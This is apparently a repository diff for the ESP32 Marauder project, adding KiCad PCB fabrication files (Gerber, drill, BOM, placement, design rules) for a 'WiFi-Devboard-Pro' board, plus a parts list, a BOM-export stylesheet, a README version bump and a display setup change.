X148940000Y-101665000D03*
X148940000Y-98135000D03*
%TD*%
D23*
%TO.C,C5*%
X126100000Y-101790000D03*
X126100000Y-102710000D03*
%TD*%
D13*
%TO.C,IC5*%
X141060000Y-105000000D03*
X139140000Y-105000000D03*
X140100000Y-107100000D03*
%TD*%
D29*
%TO.C,LED2*%
X142800000Y-93050000D03*
X142800000Y-94650000D03*
%TD*%
D30*
%TO.C,S2*%
X152075000Y-104875000D03*
X156225000Y-104875000D03*
X152075000Y-107025000D03*
X156225000Y-107025000D03*
%TD*%
D12*
%TO.C,C4*%
X154930000Y-102150000D03*
X155850000Y-102150000D03*
%TD*%
D31*
%TO.C,IC3*%
X134200000Y-106700000D03*
X134200000Y-104400000D03*
X134200000Y-102100000D03*
D32*
X128000000Y-104400000D03*
%TD*%
D12*
%TO.C,C3*%
X179065000Y-90300000D03*
X179985000Y-90300000D03*
%TD*%
D14*
%TO.C,C8*%
X129290000Y-97080000D03*
X129290000Y-96160000D03*
%TD*%
D33*
%TO.C,U3*%
X138250000Y-92600000D03*
X137600000Y-92600000D03*
X136950000Y-92600000D03*
X136950000Y-94600000D03*
X137600000Y-94600000D03*
X138250000Y-94600000D03*
%TD*%
D30*
%TO.C,S1*%
X152075000Y-92725000D03*
X156225000Y-92725000D03*
X152075000Y-94875000D03*
X156225000Y-94875000D03*
%TD*%
D11*
%TO.C,R1*%
X149700000Y-93800000D03*
X150800000Y-93800000D03*
%TD*%
D14*
%TO.C,C9*%
X134420000Y-99050000D03*
X134420000Y-99970000D03*
%TD*%
D10*
%TO.C,R8*%
X131610000Y-97150000D03*
X131610000Y-96050000D03*
%TD*%
%TO.C,R12*%
X138400000Y-97150000D03*
X138400000Y-96050000D03*
%TD*%
D34*
%TO.C,C1*%
X150690000Y-94690000D03*
X149770000Y-94690000D03*
%TD*%
D10*
%TO.C,R11*%
X137200000Y-97150000D03*
X137200000Y-96050000D03*
%TD*%
D14*
%TO.C,C10*%
X133000000Y-97085000D03*
X133000000Y-96165000D03*
%TD*%
D10*
%TO.C,R13*%
X144350000Y-93300000D03*
X144350000Y-94400000D03*
%TD*%
%TO.C,R14*%
X147400000Y-93250000D03*
X147400000Y-94350000D03*
%TD*%
D33*
%TO.C,U2*%
X134800000Y-92600000D03*
X134150000Y-92600000D03*
X133500000Y-92600000D03*
X133500000Y-94600000D03*
X134150000Y-94600000D03*
X134800000Y-94600000D03*
%TD*%
D10*
%TO.C,R9*%
X133790000Y-97140000D03*
X133790000Y-96040000D03*
%TD*%
D33*
%TO.C,U1*%
X131450000Y-92610000D03*
X130800000Y-92610000D03*
X130150000Y-92610000D03*
X130150000Y-94610000D03*
X130800000Y-94610000D03*
X131450000Y-94610000D03*
%TD*%
D10*
%TO.C,R3*%
X119900000Y-91360000D03*
X119900000Y-92460000D03*
%TD*%
%TO.C,R7*%
X130410000Y-97160000D03*
X130410000Y-96060000D03*
%TD*%
D29*
%TO.C,LED3*%
X145900000Y-93050000D03*
X145900000Y-94650000D03*
%TD*%
M02*

View File

@@ -0,0 +1,17 @@
M48
; DRILL file {KiCad (6.0.8)} date Mon Jan 2 13:07:49 2023
; FORMAT={-:-/ absolute / inch / decimal}
; #@! TF.CreationDate,2023-01-02T13:07:49-05:00
; #@! TF.GenerationSoftware,Kicad,Pcbnew,(6.0.8)
; #@! TF.FileFunction,NonPlated,1,2,NPTH
FMAT,2
INCH
; #@! TA.AperFunction,NonPlated,NPTH,ComponentDrill
T1C0.0866
%
G90
G05
T1
X7.3661Y-3.9331
T0
M30

View File

@@ -0,0 +1,111 @@
M48
; DRILL file {KiCad (6.0.8)} date Mon Jan 2 13:07:49 2023
; FORMAT={-:-/ absolute / inch / decimal}
; #@! TF.CreationDate,2023-01-02T13:07:49-05:00
; #@! TF.GenerationSoftware,Kicad,Pcbnew,(6.0.8)
; #@! TF.FileFunction,Plated,1,2,PTH
FMAT,2
INCH
; #@! TA.AperFunction,Plated,PTH,ViaDrill
T1C0.0118
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
T2C0.0394
%
G90
G05
T1
X4.4614Y-3.765
X4.5118Y-3.5965
X4.5709Y-3.6008
X4.6618Y-3.9384
X4.6626Y-3.5972
X4.7831Y-3.5969
X4.8949Y-4.1358
X4.9528Y-3.8169
X4.9618Y-4.1575
X5.0913Y-3.6457
X5.1081Y-3.7541
X5.1299Y-4.1307
X5.154Y-4.2442
X5.1965Y-3.7252
X5.2102Y-3.6665
X5.3067Y-3.6839
X5.3091Y-3.9748
X5.3248Y-3.9185
X5.348Y-3.8756
X5.3622Y-3.7333
X5.3986Y-3.9892
X5.4307Y-3.889
X5.5819Y-4.0693
X5.5823Y-4.1481
X5.6075Y-3.8177
X5.6398Y-4.0679
X5.6827Y-3.6469
X5.7224Y-3.7945
X5.8028Y-3.6441
X5.8382Y-3.7945
X5.8528Y-4.1295
X5.8933Y-3.8638
X5.9689Y-3.6858
X6.0043Y-3.6831
X6.0236Y-3.5787
X6.0335Y-3.9311
X6.1004Y-4.0598
X6.1528Y-3.6961
X6.187Y-3.8358
X6.2461Y-4.2352
X6.2984Y-3.8134
X6.2984Y-4.0606
X6.3012Y-3.7535
X6.3236Y-4.1185
X6.3248Y-3.7756
X6.3492Y-3.7091
X6.3514Y-4.2116
X6.3516Y-3.6752
X6.4012Y-3.6277
X6.4508Y-4.2323
X6.4512Y-3.6277
X6.5004Y-4.2106
X6.5012Y-3.6277
X6.5512Y-3.6277
X6.5512Y-4.2323
X6.6012Y-3.6277
X6.6014Y-4.2323
X6.6276Y-4.1134
X6.6512Y-3.6277
X6.7008Y-4.2323
X6.7012Y-3.6277
X6.7512Y-4.2276
X6.802Y-4.2268
X6.8512Y-3.6362
X6.8512Y-4.2295
X6.9012Y-4.2303
X6.9181Y-3.9774
X6.9882Y-3.5827
X7.0197Y-3.5551
X7.1283Y-3.5831
T2
X5.0933Y-3.537
X5.0933Y-4.3283
X5.1933Y-3.537
X5.1933Y-4.3283
X5.2933Y-3.537
X5.2933Y-4.3283
X5.3933Y-3.537
X5.3933Y-4.3283
X5.4933Y-3.537
X5.4933Y-4.3283
X5.5933Y-3.537
X5.5933Y-4.3283
X5.6933Y-3.537
X5.6933Y-4.3283
X5.7933Y-3.537
X5.7933Y-4.3283
X5.8933Y-3.537
X5.8933Y-4.3283
X5.9933Y-3.537
X5.9933Y-4.3283
X6.0933Y-3.537
X6.0933Y-4.3283
T0
M30

View File

@@ -0,0 +1,127 @@
{
"Header": {
"GenerationSoftware": {
"Vendor": "KiCad",
"Application": "Pcbnew",
"Version": "(6.0.8)"
},
"CreationDate": "2023-01-02T13:08:22-05:00"
},
"GeneralSpecs": {
"ProjectId": {
"Name": "WiFi-Devboard-Pro",
"GUID": "57694669-2d44-4657-9662-6f6172642d50",
"Revision": "rev?"
},
"Size": {
"X": 78.56,
"Y": 20.2
},
"LayerNumber": 2,
"BoardThickness": 1.6,
"Finish": "None"
},
"DesignRules": [
{
"Layers": "Outer",
"PadToPad": 0.127,
"PadToTrack": 0.127,
"TrackToTrack": 0.127,
"MinLineWidth": 0.127,
"TrackToRegion": 0.127,
"RegionToRegion": 0.127
}
],
"FilesAttributes": [
{
"Path": "WiFi-Devboard-Pro-F_Cu.gbr",
"FileFunction": "Copper,L1,Top",
"FilePolarity": "Positive"
},
{
"Path": "WiFi-Devboard-Pro-B_Cu.gbr",
"FileFunction": "Copper,L2,Bot",
"FilePolarity": "Positive"
},
{
"Path": "WiFi-Devboard-Pro-F_Paste.gbr",
"FileFunction": "SolderPaste,Top",
"FilePolarity": "Positive"
},
{
"Path": "WiFi-Devboard-Pro-B_Paste.gbr",
"FileFunction": "SolderPaste,Bot",
"FilePolarity": "Positive"
},
{
"Path": "WiFi-Devboard-Pro-F_Silkscreen.gbr",
"FileFunction": "Legend,Top",
"FilePolarity": "Positive"
},
{
"Path": "WiFi-Devboard-Pro-B_Silkscreen.gbr",
"FileFunction": "Legend,Bot",
"FilePolarity": "Positive"
},
{
"Path": "WiFi-Devboard-Pro-F_Mask.gbr",
"FileFunction": "SolderMask,Top",
"FilePolarity": "Negative"
},
{
"Path": "WiFi-Devboard-Pro-B_Mask.gbr",
"FileFunction": "SolderMask,Bot",
"FilePolarity": "Negative"
},
{
"Path": "WiFi-Devboard-Pro-Edge_Cuts.gbr",
"FileFunction": "Profile",
"FilePolarity": "Positive"
}
],
"MaterialStackup": [
{
"Type": "Legend",
"Name": "Top Silk Screen"
},
{
"Type": "SolderPaste",
"Name": "Top Solder Paste"
},
{
"Type": "SolderMask",
"Thickness": 0.01,
"Name": "Top Solder Mask"
},
{
"Type": "Copper",
"Thickness": 0.035,
"Name": "F.Cu"
},
{
"Type": "Dielectric",
"Thickness": 1.51,
"Material": "FR4",
"Name": "F.Cu/B.Cu",
"Notes": "Type: dielectric layer 1 (from F.Cu to B.Cu)"
},
{
"Type": "Copper",
"Thickness": 0.035,
"Name": "B.Cu"
},
{
"Type": "SolderMask",
"Thickness": 0.01,
"Name": "Bottom Solder Mask"
},
{
"Type": "SolderPaste",
"Name": "Bottom Solder Paste"
},
{
"Type": "Legend",
"Name": "Bottom Silk Screen"
}
]
}

View File

@@ -0,0 +1,25 @@
Comment,Designator,Footprint,LCSC
"1u","C1","0402",""
"22uF","C2,C5","0402",""
"100n","C3,C7,C8,C9,C10,C11","0402",""
"100nF","C4","0402",""
"10uF","C6","0402",""
"MountingHole","H1","",""
"ESP32-WROOM-32E-N4","IC1","SMD-38P,18x25.5x3.1mm",""
"SI2333CDS-T1-E3","IC2,IC4,IC5","SOT-23",""
"AZ1117H-3.3TRE1","IC3","SOT-223-3",""
"3220-10-0300-00","J1","322010030000",""
"X6511WVS-08H-C60D48R1","J2","SMD,P=2.54mm(交错脚)",""
"X6511WVS-10H-C60D48R1","J3","HUSRSP10W66P254_2500X250X850P",""
"Conn_01x11","J4,J5","SMD,P=2.54mm(交错脚)",""
"503398-1892","J6","SMD",""
"WS2812B-2020","LED1","WS2812B2020",""
"TX","LED2","0603",""
"RX","LED3","0603",""
"3V3","LED4","0603",""
"10k","R1,R6","0402",""
"220","R2","0402",""
"1K","R3,R4,R5,R13,R14,R15","0402",""
"100K","R7,R8,R9,R10,R11,R12","0402",""
"SKRPABE010","S1,S2","SMD",""
"MMDT2907A-7-F","U1,U2,U3","SOT65P210X110-6N",""
1 Comment Designator Footprint LCSC
2 1u C1 0402
3 22uF C2,C5 0402
4 100n C3,C7,C8,C9,C10,C11 0402
5 100nF C4 0402
6 10uF C6 0402
7 MountingHole H1
8 ESP32-WROOM-32E-N4 IC1 SMD-38P,18x25.5x3.1mm
9 SI2333CDS-T1-E3 IC2,IC4,IC5 SOT-23
10 AZ1117H-3.3TRE1 IC3 SOT-223-3
11 3220-10-0300-00 J1 322010030000
12 X6511WVS-08H-C60D48R1 J2 SMD,P=2.54mm(交错脚)
13 X6511WVS-10H-C60D48R1 J3 HUSRSP10W66P254_2500X250X850P
14 Conn_01x11 J4,J5 SMD,P=2.54mm(交错脚)
15 503398-1892 J6 SMD
16 WS2812B-2020 LED1 WS2812B2020
17 TX LED2 0603
18 RX LED3 0603
19 3V3 LED4 0603
20 10k R1,R6 0402
21 220 R2 0402
22 1K R3,R4,R5,R13,R14,R15 0402
23 100K R7,R8,R9,R10,R11,R12 0402
24 SKRPABE010 S1,S2 SMD
25 MMDT2907A-7-F U1,U2,U3 SOT65P210X110-6N

View File

@@ -0,0 +1,48 @@
Designator,Val,Package,Mid X,Mid Y,Rotation,Layer
J2,X6511WVS-08H-C60D48R2,HUSRSP8W66P254_2000X250X850P,-127.300000,-102.100000,0.000000,bottom
J3,DZ254S-11-10-48,HUSRSP10W66P254_2500X250X850P,-165.400000,-102.100000,0.000000,bottom
,,,187.100000,-99.900000,0.000000,top
C1,1u,CAPC1005X60N,150.230000,-94.690000,180.000000,top
C2,22uF,CAPC1005X80N,181.525000,-90.350000,180.000000,top
C3,100n,CAPC1005X55N,179.525000,-90.300000,0.000000,top
C4,100nF,CAPC1005X55N,155.390000,-102.150000,0.000000,top
C5,22uF,CAPC1005X80N,126.100000,-102.250000,-90.000000,top
C6,10uF,CAPC1005X70N,133.100000,-99.500000,-90.000000,top
C7,100n,CAPC1005X55N,116.540000,-92.270000,180.000000,top
C8,100n,CAPC1005X55N,129.290000,-96.620000,90.000000,top
C9,100n,CAPC1005X55N,134.420000,-99.510000,-90.000000,top
C10,100n,CAPC1005X55N,133.000000,-96.625000,90.000000,top
C11,100n,CAPC1005X55N,136.225000,-96.600000,90.000000,top
IC1,ESP32-WROOM-32E-N4,ESP32WROOM32EN4,171.300000,-99.850000,-90.000000,top
IC2,DMP1045U-7,SOT96P240X120-3N,127.500000,-93.650000,-90.000000,top
IC3,AZ1117H-3.3TRE1,SOT230P700X180-4N,131.100000,-104.400000,180.000000,top
IC4,DMP1045U-7,SOT96P240X120-3N,137.250000,-103.425000,-90.000000,top
IC5,DMP1045U-7,SOT96P240X120-3N,140.100000,-106.050000,-90.000000,top
J1,3220-10-0300-00,322010030000,146.400000,-99.900000,0.000000,top
J4,Conn_01x11,PinHeader_1x11_P2.54mm_Vertical,129.370000,-109.940000,90.000000,top
J5,Conn_01x11,PinHeader_1x11_P2.54mm_Vertical,129.370000,-89.840000,90.000000,top
J6,503398-1892,503398-1892,111.060000,-106.400000,90.000000,top
LED1,WS2812B-2020,WS2812B2020,155.400000,-99.800000,90.000000,top
LED2,TX,LEDC1608X50N,142.800000,-93.850000,-90.000000,top
LED3,RX,LEDC1608X50N,145.900000,-93.850000,-90.000000,top
LED4,3V3,19217R6CAL1M2VY3T,127.850000,-99.100000,180.000000,top
R1,10k,RESC1005X40N,150.250000,-93.800000,0.000000,top
R2,220,RESC1005X40N,155.400000,-97.430000,180.000000,top
R3,1K,RESC1005X40N,119.900000,-91.910000,-90.000000,top
R4,1K,RESC1005X40N,117.820000,-91.900000,-90.000000,top
R5,1K,RESC1005X40N,115.300000,-91.900000,-90.000000,top
R6,10k,RESC1005X40N,150.110000,-104.890000,180.000000,top
R7,100K,RESC1005X40N,130.410000,-96.610000,90.000000,top
R8,100K,RESC1005X40N,131.610000,-96.600000,90.000000,top
R9,100K,RESC1005X40N,133.790000,-96.590000,90.000000,top
R10,100K,RESC1005X40N,134.960000,-96.590000,90.000000,top
R11,100K,RESC1005X40N,137.200000,-96.600000,90.000000,top
R12,100K,RESC1005X40N,138.400000,-96.600000,90.000000,top
R13,1K,RESC1005X40N,144.350000,-93.850000,-90.000000,top
R14,1K,RESC1005X40N,147.400000,-93.800000,-90.000000,top
R15,1K,RESC1005X40N,127.050000,-96.950000,0.000000,top
S1,SKRPABE010,SKRPABE010,154.150000,-93.800000,0.000000,top
S2,SKRPABE010,SKRPABE010,154.150000,-105.950000,0.000000,top
U1,MMDT2907A-7-F,SOT65P210X110-6N,130.800000,-93.610000,-90.000000,top
U2,MMDT2907A-7-F,SOT65P210X110-6N,134.150000,-93.600000,-90.000000,top
U3,MMDT2907A-7-F,SOT65P210X110-6N,137.600000,-93.600000,-90.000000,top
1 Designator Val Package Mid X Mid Y Rotation Layer
2 J2 X6511WVS-08H-C60D48R2 HUSRSP8W66P254_2000X250X850P -127.300000 -102.100000 0.000000 bottom
3 J3 DZ254S-11-10-48 HUSRSP10W66P254_2500X250X850P -165.400000 -102.100000 0.000000 bottom
4 187.100000 -99.900000 0.000000 top
5 C1 1u CAPC1005X60N 150.230000 -94.690000 180.000000 top
6 C2 22uF CAPC1005X80N 181.525000 -90.350000 180.000000 top
7 C3 100n CAPC1005X55N 179.525000 -90.300000 0.000000 top
8 C4 100nF CAPC1005X55N 155.390000 -102.150000 0.000000 top
9 C5 22uF CAPC1005X80N 126.100000 -102.250000 -90.000000 top
10 C6 10uF CAPC1005X70N 133.100000 -99.500000 -90.000000 top
11 C7 100n CAPC1005X55N 116.540000 -92.270000 180.000000 top
12 C8 100n CAPC1005X55N 129.290000 -96.620000 90.000000 top
13 C9 100n CAPC1005X55N 134.420000 -99.510000 -90.000000 top
14 C10 100n CAPC1005X55N 133.000000 -96.625000 90.000000 top
15 C11 100n CAPC1005X55N 136.225000 -96.600000 90.000000 top
16 IC1 ESP32-WROOM-32E-N4 ESP32WROOM32EN4 171.300000 -99.850000 -90.000000 top
17 IC2 DMP1045U-7 SOT96P240X120-3N 127.500000 -93.650000 -90.000000 top
18 IC3 AZ1117H-3.3TRE1 SOT230P700X180-4N 131.100000 -104.400000 180.000000 top
19 IC4 DMP1045U-7 SOT96P240X120-3N 137.250000 -103.425000 -90.000000 top
20 IC5 DMP1045U-7 SOT96P240X120-3N 140.100000 -106.050000 -90.000000 top
21 J1 3220-10-0300-00 322010030000 146.400000 -99.900000 0.000000 top
22 J4 Conn_01x11 PinHeader_1x11_P2.54mm_Vertical 129.370000 -109.940000 90.000000 top
23 J5 Conn_01x11 PinHeader_1x11_P2.54mm_Vertical 129.370000 -89.840000 90.000000 top
24 J6 503398-1892 503398-1892 111.060000 -106.400000 90.000000 top
25 LED1 WS2812B-2020 WS2812B2020 155.400000 -99.800000 90.000000 top
26 LED2 TX LEDC1608X50N 142.800000 -93.850000 -90.000000 top
27 LED3 RX LEDC1608X50N 145.900000 -93.850000 -90.000000 top
28 LED4 3V3 19217R6CAL1M2VY3T 127.850000 -99.100000 180.000000 top
29 R1 10k RESC1005X40N 150.250000 -93.800000 0.000000 top
30 R2 220 RESC1005X40N 155.400000 -97.430000 180.000000 top
31 R3 1K RESC1005X40N 119.900000 -91.910000 -90.000000 top
32 R4 1K RESC1005X40N 117.820000 -91.900000 -90.000000 top
33 R5 1K RESC1005X40N 115.300000 -91.900000 -90.000000 top
34 R6 10k RESC1005X40N 150.110000 -104.890000 180.000000 top
35 R7 100K RESC1005X40N 130.410000 -96.610000 90.000000 top
36 R8 100K RESC1005X40N 131.610000 -96.600000 90.000000 top
37 R9 100K RESC1005X40N 133.790000 -96.590000 90.000000 top
38 R10 100K RESC1005X40N 134.960000 -96.590000 90.000000 top
39 R11 100K RESC1005X40N 137.200000 -96.600000 90.000000 top
40 R12 100K RESC1005X40N 138.400000 -96.600000 90.000000 top
41 R13 1K RESC1005X40N 144.350000 -93.850000 -90.000000 top
42 R14 1K RESC1005X40N 147.400000 -93.800000 -90.000000 top
43 R15 1K RESC1005X40N 127.050000 -96.950000 0.000000 top
44 S1 SKRPABE010 SKRPABE010 154.150000 -93.800000 0.000000 top
45 S2 SKRPABE010 SKRPABE010 154.150000 -105.950000 0.000000 top
46 U1 MMDT2907A-7-F SOT65P210X110-6N 130.800000 -93.610000 -90.000000 top
47 U2 MMDT2907A-7-F SOT65P210X110-6N 134.150000 -93.600000 -90.000000 top
48 U3 MMDT2907A-7-F SOT65P210X110-6N 137.600000 -93.600000 -90.000000 top

View File

@@ -0,0 +1,9 @@
# Parts
- Header Pin x8: [C2883805](https://www.lcsc.com/product-detail/Pin-Headers_XKB-Connectivity-X6511WVS-08H-C60D48R1_C2883805.html)
- Header Pin x10: [C2883807](https://www.lcsc.com/product-detail/Pin-Headers_XKB-Connectivity-X6511WVS-10H-C60D48R1_C2883807.html)
- Alternative Header: [M20-8771246](https://www.mouser.com/ProductDetail/Harwin/M20-8771246?qs=WS5Jv%252B%252Bx1qWzrNY%252Bb2U9JQ%3D%3D&countryCode=US&currencyCode=USD)
- Light Pipe: [PLP2-188](https://www.digikey.com/en/products/detail/bivar-inc/PLP2-188/5721973?utm_medium=email&utm_source=oce&utm_campaign=4251_OCE23RT&utm_content=productdetail_US&utm_cid=2955578&so=79456987&mkt_tok=MDI4LVNYSy01MDcAAAGJOBaFWa7m6RHsJZT6mWcYRd9LRyXmqis92EV7j5ftyM5NuNOSOPqUp292m0P5E3FKrEWCFuvb9fObSzuSvVMsopuOMPjO46ylCAR1IzCL)
- M2x6mm Round Top Screw: [97763A407](https://www.mcmaster.com/97763A407/)
- M2x8mm Countersunk Screw: [91294A005](https://www.mcmaster.com/91294A005/)
- M2 Threaded Insert: [94180A307](https://www.mcmaster.com/94180A307/)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,75 @@
{
"board": {
"active_layer": 44,
"active_layer_preset": "",
"auto_track_width": false,
"hidden_nets": [
"+ext_3V3"
],
"high_contrast_mode": 0,
"net_color_mode": 1,
"opacity": {
"pads": 1.0,
"tracks": 1.0,
"vias": 1.0,
"zones": 0.6
},
"ratsnest_display_mode": 0,
"selection_filter": {
"dimensions": true,
"footprints": true,
"graphics": true,
"keepouts": true,
"lockedItems": true,
"otherItems": true,
"pads": true,
"text": true,
"tracks": true,
"vias": true,
"zones": true
},
"visible_items": [
0,
1,
2,
3,
4,
5,
9,
10,
11,
12,
13,
14,
15,
16,
17,
19,
20,
21,
22,
23,
24,
25,
26,
27,
28,
29,
30,
32,
33,
34,
35,
36
],
"visible_layers": "8001130_ffffffff",
"zone_display_mode": 1
},
"meta": {
"filename": "WiFi-Devboard-Pro.kicad_prl",
"version": 3
},
"project": {
"files": []
}
}

View File

@@ -33,9 +33,9 @@
"other_text_thickness": 0.15,
"other_text_upright": false,
"pads": {
"drill": 0.762,
"height": 1.524,
"width": 1.524
"drill": 2.2,
"height": 2.2,
"width": 2.2
},
"silk_line_width": 0.15,
"silk_text_italic": false,
@@ -45,10 +45,16 @@
"silk_text_upright": false,
"zones": {
"45_degree_only": false,
"min_clearance": 0.508
"min_clearance": 0.09999999999999999
}
},
"diff_pair_dimensions": [],
"diff_pair_dimensions": [
{
"gap": 0.0,
"via_gap": 0.0,
"width": 0.0
}
],
"drc_exclusions": [],
"meta": {
"version": 2
@@ -56,8 +62,8 @@
"rule_severities": {
"annular_width": "error",
"clearance": "error",
"copper_edge_clearance": "error",
"courtyards_overlap": "error",
"copper_edge_clearance": "ignore",
"courtyards_overlap": "ignore",
"diff_pair_gap_out_of_range": "error",
"diff_pair_uncoupled_length_too_long": "error",
"drill_out_of_range": "error",
@@ -79,12 +85,12 @@
"padstack": "error",
"pth_inside_courtyard": "ignore",
"shorting_items": "error",
"silk_over_copper": "warning",
"silk_overlap": "warning",
"silk_over_copper": "ignore",
"silk_overlap": "ignore",
"skew_out_of_range": "error",
"through_hole_pad_without_hole": "error",
"too_many_vias": "error",
"track_dangling": "warning",
"track_dangling": "ignore",
"track_width": "error",
"tracks_crossing": "error",
"unconnected_items": "error",
@@ -97,23 +103,51 @@
"allow_blind_buried_vias": false,
"allow_microvias": false,
"max_error": 0.005,
"min_clearance": 0.0,
"min_copper_edge_clearance": 0.0,
"min_hole_clearance": 0.25,
"min_hole_to_hole": 0.25,
"min_clearance": 0.127,
"min_copper_edge_clearance": 0.19999999999999998,
"min_hole_clearance": 0.254,
"min_hole_to_hole": 0.5,
"min_microvia_diameter": 0.19999999999999998,
"min_microvia_drill": 0.09999999999999999,
"min_silk_clearance": 0.0,
"min_through_hole_diameter": 0.3,
"min_track_width": 0.19999999999999998,
"min_through_hole_diameter": 0.19999999999999998,
"min_track_width": 0.127,
"min_via_annular_width": 0.049999999999999996,
"min_via_diameter": 0.39999999999999997,
"min_via_diameter": 0.5,
"solder_mask_clearance": 0.0,
"solder_mask_min_width": 0.0,
"use_height_for_length_calcs": true
},
"track_widths": [],
"via_dimensions": [],
"track_widths": [
0.0,
0.127,
0.2,
0.3,
0.5,
1.0
],
"via_dimensions": [
{
"diameter": 0.0,
"drill": 0.0
},
{
"diameter": 0.4,
"drill": 0.2
},
{
"diameter": 0.5,
"drill": 0.3
},
{
"diameter": 1.0,
"drill": 0.5
},
{
"diameter": 2.0,
"drill": 1.0
}
],
"zones_allow_external_fillets": false,
"zones_use_no_outline": true
},
@@ -340,7 +374,7 @@
"classes": [
{
"bus_width": 12.0,
"clearance": 0.2,
"clearance": 0.127,
"diff_pair_gap": 0.25,
"diff_pair_via_gap": 0.25,
"diff_pair_width": 0.2,
@@ -350,9 +384,53 @@
"name": "Default",
"pcb_color": "rgba(0, 0, 0, 0.000)",
"schematic_color": "rgba(0, 0, 0, 0.000)",
"track_width": 0.25,
"via_diameter": 0.8,
"via_drill": 0.4,
"track_width": 0.127,
"via_diameter": 0.5,
"via_drill": 0.3,
"wire_width": 6.0
},
{
"bus_width": 12.0,
"clearance": 0.127,
"diff_pair_gap": 0.25,
"diff_pair_via_gap": 0.25,
"diff_pair_width": 0.2,
"line_style": 0,
"microvia_diameter": 0.3,
"microvia_drill": 0.1,
"name": "GND",
"nets": [
"GND"
],
"pcb_color": "rgba(0, 0, 0, 0.000)",
"schematic_color": "rgba(0, 0, 0, 0.000)",
"track_width": 0.2,
"via_diameter": 0.5,
"via_drill": 0.3,
"wire_width": 6.0
},
{
"bus_width": 12.0,
"clearance": 0.127,
"diff_pair_gap": 0.25,
"diff_pair_via_gap": 0.25,
"diff_pair_width": 0.2,
"line_style": 0,
"microvia_diameter": 0.3,
"microvia_drill": 0.1,
"name": "Supply",
"nets": [
"+3V3",
"+5V",
"+LDO_3V3",
"+ext_3V3",
"+ext_5V"
],
"pcb_color": "rgba(0, 0, 0, 0.000)",
"schematic_color": "rgba(0, 0, 0, 0.000)",
"track_width": 0.2,
"via_diameter": 0.5,
"via_drill": 0.3,
"wire_width": 6.0
}
],

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,104 @@
<!--XSL style sheet to convert EESCHEMA XML Partlist Format to grouped CSV BOM Format
Copyright (C) 2014, Wolf Walter.
Copyright (C) 2013, Stefan Helmert.
Copyright (C) 2018, Kicad developers.
Copyright (C) 2019, arturo182.
GPL v2.
Functionality:
Generation of JLCPCB PCBA compatible BOM
How to use this is explained in eeschema.pdf chapter 14. You enter a command line into the
netlist exporter using a new (custom) tab in the netlist export dialog.
The command line is
xsltproc -o "%O.csv" "FullPathToFile/bom2grouped_csv_jlcpcb.xsl" "%I"
-->
<!--
@package
Generates a JLCPCB PCBA service compatible BOM
Functionality:
* Generate a comma separated value BOM list (csv file type).
* Components are sorted by ref and grouped by same value+footprint
One value per line
Fields are
Comment,Designator,Footprint,LCSC
The command line is
xsltproc -o "%O.csv" "full_path/bom2grouped_csv_jlcpcb.xsl" "%I"
-->
<!DOCTYPE xsl:stylesheet [
<!ENTITY nl "&#xd;&#xa;"> <!--new line CR, LF, or LF, your choice -->
]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="text"/>
<xsl:variable name="digits" select="'1234567890'" />
<!-- for matching grouping of footprint and value combination -->
<xsl:key name="partTypeByValueAndFootprint" match="comp" use="concat(footprint, '-', value)" />
<!-- for table head and empty table fields-->
<xsl:key name="headentr" match="field" use="@name"/>
<!-- main part -->
<xsl:template match="/export">
<xsl:text>Comment,Designator,Footprint,LCSC</xsl:text>
<!-- all table entries -->
<xsl:apply-templates select="components"/>
</xsl:template>
<xsl:template match="components">
<!-- for Muenchian grouping of footprint and value combination -->
<xsl:for-each select="comp[count(. | key('partTypeByValueAndFootprint', concat(footprint, '-', value))[1]) = 1]">
<xsl:sort select="@ref" />
<xsl:text>&nl;</xsl:text>
<xsl:text>"</xsl:text><xsl:value-of select="value"/><xsl:text>","</xsl:text>
<!-- list of all references -->
<xsl:for-each select="key('partTypeByValueAndFootprint', concat(footprint, '-', value))">
<!-- strip non-digits from reference and sort based on remaining number -->
<xsl:sort select="translate(@ref, translate(@ref, $digits, ''), '')" data-type="number" />
<xsl:value-of select="@ref"/>
<xsl:if test="position() != last()"><xsl:text>,</xsl:text></xsl:if>
</xsl:for-each>
<xsl:text>","</xsl:text>
<xsl:value-of select="footprint"/><xsl:text>","</xsl:text>
<xsl:value-of select="fields/field[@name='LCSC']"/><xsl:text>"</xsl:text>
</xsl:for-each>
</xsl:template>
<!-- table entries with dynamic table head -->
<xsl:template match="fields">
<!-- remember current fields section -->
<xsl:variable name="fieldvar" select="field"/>
<!-- for all existing head entries -->
<xsl:for-each select="/export/components/comp/fields/field[generate-id(.) = generate-id(key('headentr',@name)[1])]">
<xsl:variable name="allnames" select="@name"/>
<xsl:text>,"</xsl:text>
<!-- for all field entries in the remembered fields section -->
<xsl:for-each select="$fieldvar">
<!-- only if this field entry exists in this fields section -->
<xsl:if test="@name=$allnames">
<!-- content of the field -->
<xsl:value-of select="."/>
</xsl:if>
<!--
If it does not exist, use an empty cell in output for this row.
Every non-blank entry is assigned to its proper column.
-->
</xsl:for-each>
<xsl:text>"</xsl:text>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

File diff suppressed because it is too large Load Diff

View File

@@ -3,7 +3,7 @@
<!---[![Build Status](https://travis-ci.com/justcallmekoko/ESP32Marauder.svg?branch=master)](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
<!---Shields/Badges https://shields.io/--->
# ESP32 Marauder v0.9.19
# ESP32 Marauder v0.12.0
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
<p align="center">
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>

7
TestFile/TestFile.ino Normal file
View File

@@ -0,0 +1,7 @@
void setup() {
Serial.begin(115200);
}
void loop() {
Serial.println("Just a test");
}

View File

@@ -21,8 +21,9 @@
//#include <User_Setup.h> // Default setup is root library folder
//#include <User_Setup_og_marauder.h>
#include <User_Setup_marauder_mini.h>
#include <User_Setup_og_marauder.h>
//#include <User_Setup_marauder_mini.h>
//#include <User_Setup_marauder_m5stickc.h>
//#include <User_Setups/Setup1_ILI9341.h> // Setup file configured for my ILI9341
//#include <User_Setups/Setup2_ST7735.h> // Setup file configured for my ST7735

View File

@@ -0,0 +1,318 @@
// USER DEFINED SETTINGS
// Set driver type, fonts to be loaded, pins used and SPI control method etc
//
// See the User_Setup_Select.h file if you wish to be able to define multiple
